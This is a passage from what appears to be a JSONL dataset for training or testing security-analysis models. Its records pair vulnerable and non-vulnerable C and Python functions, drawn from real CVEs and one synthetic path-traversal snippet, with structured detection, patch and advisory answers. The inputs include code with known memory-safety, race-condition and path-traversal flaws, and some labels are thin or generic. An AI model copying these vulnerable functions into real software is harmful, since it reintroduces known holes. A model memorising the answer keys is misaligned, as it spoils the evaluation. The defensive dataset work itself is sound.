0x01) != 0 ? 0x01 : 0x00));\n bit++;\n byte>>=1;\n if (bit == 8)\n bit=0;\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n break;\n status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n data=(unsigned char *) RelinquishMagickMemory(data);\n (void) SyncImage(image);\n (void) CloseBlob(image);\n return(GetFirstImageInList(image));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-10066\",\n \"project\": \"ImageMagick\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: jinja2\nInstalled version: <3.1.3\nSummary: Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-h5c8-rqwp-cp95\",\n \"cve\": \"CVE-2024-22195\",\n \"aliases\": [\n \"CVE-2024-22195\",\n \"PYSEC-2026-1473\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"jinja2\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <3.1.3\",\n \"fixed_version\": \"3.1.3\",\n \"finding\": \"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter\",\n \"remediation\": \"Upgrade jinja2 to 3.1.3 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": null, "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (a known CWE). Produce the patched version and explain the fix. Output JSON.", "input": "void ssl_set_client_disabled(SSL *s)\n\t{\n\tCERT *c = s->cert;\n\tc->mask_a = 0;\n\tc->mask_k = 0;\n\t/* Don't allow TLS 1.2 only ciphers if we don't suppport them */\n\tif (!SSL_CLIENT_USE_TLS1_2_CIPHERS(s))\n\t\tc->mask_ssl = SSL_TLSV1_2;\n\telse\n\t\tc->mask_ssl = 0;\n\tssl_set_sig_mask(&c->mask_a, s, SSL_SECOP_SIGALG_MASK);\n\t/* Disable static DH if we don't include any appropriate\n\t * signature algorithms.\n\t */\n\tif (c->mask_a & SSL_aRSA)\n\t\tc->mask_k |= SSL_kDHr|SSL_kECDHr;\n\tif (c->mask_a & SSL_aDSS)\n\t\tc->mask_k |= SSL_kDHd;\n\tif (c->mask_a & SSL_aECDSA)\n\t\tc->mask_k |= SSL_kECDHe;\n#ifndef OPENSSL_NO_KRB5\n\tif (!kssl_tgt_is_available(s->kssl_ctx))\n\t\t{\n\t\tc->mask_a |= SSL_aKRB5;\n\t\tc->mask_k |= SSL_kKRB5;\n\t\t}\n#endif\n#ifndef OPENSSL_NO_PSK\n\t/* with PSK there must be client callback set */\n\tif (!s->psk_client_callback)\n\t\t{\n\t\tc->mask_a |= SSL_aPSK;\n c->mask_k |= SSL_kPSK;\n }\n #endif /* OPENSSL_NO_PSK */\n c->valid = 1;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"cve\": \"CVE-2014-5139\",\n \"fixed_code\": \"void ssl_set_client_disabled(SSL *s)\\n\\t{\\n\\tCERT *c = s->cert;\\n\\tc->mask_a = 0;\\n\\tc->mask_k = 0;\\n\\t/* Don't allow TLS 1.2 only ciphers if we don't suppport them */\\n\\tif (!SSL_CLIENT_USE_TLS1_2_CIPHERS(s))\\n\\t\\tc->mask_ssl = SSL_TLSV1_2;\\n\\telse\\n\\t\\tc->mask_ssl = 0;\\n\\tssl_set_sig_mask(&c->mask_a, s, SSL_SECOP_SIGALG_MASK);\\n\\t/* Disable static DH if we don't include any appropriate\\n\\t * signature algorithms.\\n\\t */\\n\\tif (c->mask_a & SSL_aRSA)\\n\\t\\tc->mask_k |= SSL_kDHr|SSL_kECDHr;\\n\\tif (c->mask_a & SSL_aDSS)\\n\\t\\tc->mask_k |= SSL_kDHd;\\n\\tif (c->mask_a & SSL_aECDSA)\\n\\t\\tc->mask_k |= SSL_kECDHe;\\n#ifndef OPENSSL_NO_KRB5\\n\\tif (!kssl_tgt_is_available(s->kssl_ctx))\\n\\t\\t{\\n\\t\\tc->mask_a |= SSL_aKRB5;\\n\\t\\tc->mask_k |= SSL_kKRB5;\\n\\t\\t}\\n#endif\\n#ifndef OPENSSL_NO_PSK\\n\\t/* with PSK there must be client callback set */\\n\\tif (!s->psk_client_callback)\\n\\t\\t{\\n\\t\\tc->mask_a |= SSL_aPSK;\\n c->mask_k |= SSL_kPSK;\\n }\\n #endif /* OPENSSL_NO_PSK */\\n#ifndef OPENSSL_NO_SRP\\n if (!(s->srp_ctx.srp_Mask & SSL_kSRP))\\n {\\n c->mask_a |= SSL_aSRP;\\n c->mask_k |= SSL_kSRP;\\n }\\n#endif\\n c->valid = 1;\\n }\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " static int em_jmp_far(struct x86_emulate_ctxt *ctxt)\n {\n \tint rc;\n\tunsigned short sel;\n \n \tmemcpy(&sel, ctxt->src.valptr + ctxt->op_bytes, 2);\n \n\trc = load_segment_descriptor(ctxt, sel, VCPU_SREG_CS);\n \tif (rc != X86EMUL_CONTINUE)\n \t\treturn rc;\n \n\tctxt->_eip = 0;\n\tmemcpy(&ctxt->_eip, ctxt->src.valptr, ctxt->op_bytes);\n\treturn X86EMUL_CONTINUE;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-3647\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 4,\n 8,\n 12,\n 13,\n 14\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"em_jmp_far\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 22\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"x86_emulate_ctxt\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"ctxt\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"rc\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 6\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"short\",\n \"ast_node\": \"short\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"sel\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"memcpy\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"sel\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \"ctxt\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 21\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 6,\n \"col\": 24\n },\n {\n \"token\": \"valptr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 6,\n \"col\": 32\n },\n {\n \"token\": \"ctxt\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 34\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 38\n },\n {\n \"token\": \"op_bytes\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 40\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 48\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 50\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 51\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 52\n },\n {\n \"token\": \"rc\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"load_segment_descriptor\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 29\n },\n {\n \"token\": \"ctxt\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 34\n },\n {\n \"token\": \"sel\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 36\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 39\n },\n {\n \"token\": \"VCPU_SREG_CS\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 53\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 54\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"rc\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 6\n },\n {\n \"token\": \"!=\",\n \"ast_node\": \"!=\",\n \"line\": 9,\n \"col\": 9\n },\n {\n \"token\": \"X86EMUL_CONTINUE\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 12\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 28\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 10,\n \"col\": 3\n },\n {\n \"token\": \"rc\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 12\n },\n {\n \"token\": \"ctxt\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 12,\n \"col\": 5\n },\n {\n \"token\": \"_eip\",\n \"ast_node\": \"field_identifier\",\n \"line\": 12,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 12,\n \"col\": 12\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 12,\n \"col\": 14\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int bad_inode_symlink (struct inode *dir, struct dentry *dentry,\n\t\tconst char *symname)\n{\n\treturn -EIO;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-362). Produce the patched version and explain the fix. Output JSON.", "input": "static inline int may_ptrace_stop(void)\n{\n\tif (!likely(current->ptrace))\n\t\treturn 0;\n\t/*\n\t * Are we in the middle of do_coredump?\n\t * If so and our tracer is also part of the coredump stopping\n\t * is a deadlock situation, and pointless because our tracer\n\t * is dead so don't allow us to stop.\n \t * If SIGKILL was already sent before the caller unlocked\n \t * ->siglock we must see ->core_state != NULL. Otherwise it\n \t * is safe to enter schedule().\n \t */\n \tif (unlikely(current->mm->core_state) &&\n \t unlikely(current->mm == current->parent->mm))\n\t\treturn 0;\n\n\treturn 1;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"cve\": \"CVE-2013-0871\",\n \"fixed_code\": \"static inline int may_ptrace_stop(void)\\n{\\n\\tif (!likely(current->ptrace))\\n\\t\\treturn 0;\\n\\t/*\\n\\t * Are we in the middle of do_coredump?\\n\\t * If so and our tracer is also part of the coredump stopping\\n\\t * is a deadlock situation, and pointless because our tracer\\n\\t * is dead so don't allow us to stop.\\n \\t * If SIGKILL was already sent before the caller unlocked\\n \\t * ->siglock we must see ->core_state != NULL. Otherwise it\\n \\t * is safe to enter schedule().\\n\\t *\\n\\t * This is almost outdated, a task with the pending SIGKILL can't\\n\\t * block in TASK_TRACED. But PTRACE_EVENT_EXIT can be reported\\n\\t * after SIGKILL was already dequeued.\\n \\t */\\n \\tif (unlikely(current->mm->core_state) &&\\n \\t unlikely(current->mm == current->parent->mm))\\n\\t\\treturn 0;\\n\\n\\treturn 1;\\n}\\n\",\n \"change_summary\": \"ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-22", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Analyze this python snippet at the AST level. Find the data-flow sink that introduces a vulnerability, map the tainted tokens to their AST node types, and return the detection result as JSON.", "input": "def read():\n value = request.json['payload']\n with open('/srv/files/' + value) as f:\n return f.read()\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-22\",\n \"cwe_name\": \"Path Traversal\",\n \"title\": \"Path traversal in open()\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"with_statement\",\n \"with_clause\",\n \"with_item\",\n \"as_pattern\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"open\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_start\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"/srv/files/\",\n \"ast_node\": \"string_content\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_end\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 35\n }\n ],\n \"explanation\": \"A user-controlled filename is concatenated to a base dir without validation.\",\n \"remediation\": \"Canonicalize the path and verify it stays within an allow-listed base directory.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-703", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "txid_snapshot_recv(PG_FUNCTION_ARGS)\n{\n\tStringInfo\tbuf = (StringInfo) PG_GETARG_POINTER(0);\n\tTxidSnapshot *snap;\n\ttxid\t\tlast = 0;\n\tint\t\t\tnxip;\n\tint\t\t\ti;\n\tint\t\t\tavail;\n\tint\t\t\texpect;\n\ttxid\t\txmin,\n\t\t\t\txmax;\n\n\t/*\n\t * load nxip and check for nonsense.\n\t *\n\t * (nxip > avail) check is against int overflows in 'expect'.\n\t */\n\tnxip = pq_getmsgint(buf, 4);\n\tavail = buf->len - buf->cursor;\n\texpect = 8 + 8 + nxip * 8;\n\tif (nxip < 0 || nxip > avail || expect > avail)\n\t\tgoto bad_format;\n\n\txmin = pq_getmsgint64(buf);\n\txmax = pq_getmsgint64(buf);\n\tif (xmin == 0 || xmax == 0 || xmin > xmax || xmax > MAX_TXID)\n\t\tgoto bad_format;\n\n\tsnap = palloc(TXID_SNAPSHOT_SIZE(nxip));\n\tsnap->xmin = xmin;\n\tsnap->xmax = xmax;\n\tsnap->nxip = nxip;\n\tSET_VARSIZE(snap, TXID_SNAPSHOT_SIZE(nxip));\n\n\tfor (i = 0; i < nxip; i++)\n\t{\n\t\ttxid\t\tcur = pq_getmsgint64(buf);\n\n\t\tif (cur <= last || cur < xmin || cur >= xmax)\n\t\t\tgoto bad_format;\n\t\tsnap->xip[i] = cur;\n\t\tlast = cur;\n\t}\n\tPG_RETURN_POINTER(snap);\n\nbad_format:\n\telog(ERROR, \"invalid snapshot data\");\n\treturn (Datum) NULL;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-703\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"project\": \"postgres\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int nbd_receive_option_reply(QIOChannel *ioc, uint32_t opt,\n nbd_opt_reply *reply, Error **errp)\n{\n QEMU_BUILD_BUG_ON(sizeof(*reply) != 20);\n if (read_sync(ioc, reply, sizeof(*reply)) != sizeof(*reply)) {\n error_setg(errp, \"failed to read option reply\");\n nbd_send_opt_abort(ioc);\n return -1;\n }\n be64_to_cpus(&reply->magic);\n be32_to_cpus(&reply->option);\n be32_to_cpus(&reply->type);\n be32_to_cpus(&reply->length);\n\n TRACE(\"Received option reply %\" PRIx32\", type %\" PRIx32\", len %\" PRIu32,\n reply->option, reply->type, reply->length);\n\n if (reply->magic != NBD_REP_MAGIC) {\n error_setg(errp, \"Unexpected option reply magic\");\n nbd_send_opt_abort(ioc);\n return -1;\n }\n if (reply->option != opt) {\n error_setg(errp, \"Unexpected option type %x expected %x\",\n reply->option, opt);\n nbd_send_opt_abort(ioc);\n return -1;\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.176-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: mptcp: close TOCTOU race while computing rcv_wnd The MPTCP output path access locklessly the MPTCP-level ack_seq in multiple times...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-63867\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.176-1\",\n \"fixed_version\": \"6.1.176-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: mptcp: close TOCTOU race while computing rcv_wnd The MPTCP output path access locklessly the MPTCP-level ack_seq in multiple times...\",\n \"remediation\": \"Upgrade linux to 6.1.176-1 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": null, "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static void StreamTcpPacketSetState(Packet *p, TcpSession *ssn,\n uint8_t state)\n{\n if (state == ssn->state || PKT_IS_PSEUDOPKT(p))\n return;\n \n ssn->state = state;\n \n /* update the flow state */\n switch(ssn->state) {\n case TCP_ESTABLISHED:\n case TCP_FIN_WAIT1:\n case TCP_FIN_WAIT2:\n case TCP_CLOSING:\n case TCP_CLOSE_WAIT:\n FlowUpdateState(p->flow, FLOW_STATE_ESTABLISHED);\n break;\n case TCP_LAST_ACK:\n case TCP_TIME_WAIT:\n case TCP_CLOSED:\n FlowUpdateState(p->flow, FLOW_STATE_CLOSED);\n break;\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"cve\": \"CVE-2018-14568\",\n \"fixed_code\": \"static void StreamTcpPacketSetState(Packet *p, TcpSession *ssn,\\n uint8_t state)\\n{\\n if (state == ssn->state || PKT_IS_PSEUDOPKT(p))\\n return;\\n \\n ssn->pstate = ssn->state;\\n ssn->state = state;\\n \\n /* update the flow state */\\n switch(ssn->state) {\\n case TCP_ESTABLISHED:\\n case TCP_FIN_WAIT1:\\n case TCP_FIN_WAIT2:\\n case TCP_CLOSING:\\n case TCP_CLOSE_WAIT:\\n FlowUpdateState(p->flow, FLOW_STATE_ESTABLISHED);\\n break;\\n case TCP_LAST_ACK:\\n case TCP_TIME_WAIT:\\n case TCP_CLOSED:\\n FlowUpdateState(p->flow, FLOW_STATE_CLOSED);\\n break;\\n }\\n}\\n\",\n \"change_summary\": \"stream: support RST getting lost/ignored\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int gup_huge_pgd(pgd_t orig, pgd_t *pgdp, unsigned long addr,\n\t\t\tunsigned long end, int write,\n\t\t\tstruct page **pages, int *nr)\n{\n\tint refs;\n\tstruct page *head, *page;\n\n\tif (!pgd_access_permitted(orig, write))\n\t\treturn 0;\n\n\tBUILD_BUG_ON(pgd_devmap(orig));\n\trefs = 0;\n\tpage = pgd_page(orig) + ((addr & ~PGDIR_MASK) >> PAGE_SHIFT);\n\tdo {\n\t\tpages[*nr] = page;\n\t\t(*nr)++;\n\t\tpage++;\n \t\trefs++;\n \t} while (addr += PAGE_SIZE, addr != end);\n \n\thead = compound_head(pgd_page(orig));\n\tif (!page_cache_add_speculative(head, refs)) {\n \t\t*nr -= refs;\n \t\treturn 0;\n \t}\n\n\tif (unlikely(pgd_val(orig) != pgd_val(*pgdp))) {\n\t\t*nr -= refs;\n\t\twhile (refs--)\n\t\t\tput_page(head);\n\t\treturn 0;\n\t}\n\n\tSetPageReferenced(head);\n\treturn 1;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2019-11487\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 21,\n 22\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"gup_huge_pgd\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"pgd_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"orig\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"pgd_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"pgdp\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 67\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 2,\n \"col\": 3\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 2,\n \"col\": 12\n },\n {\n \"token\": \"end\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 17\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 20\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 22\n },\n {\n \"token\": \"write\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 3\n },\n {\n \"token\": \"page\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"pages\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"nr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"refs\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"page\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n 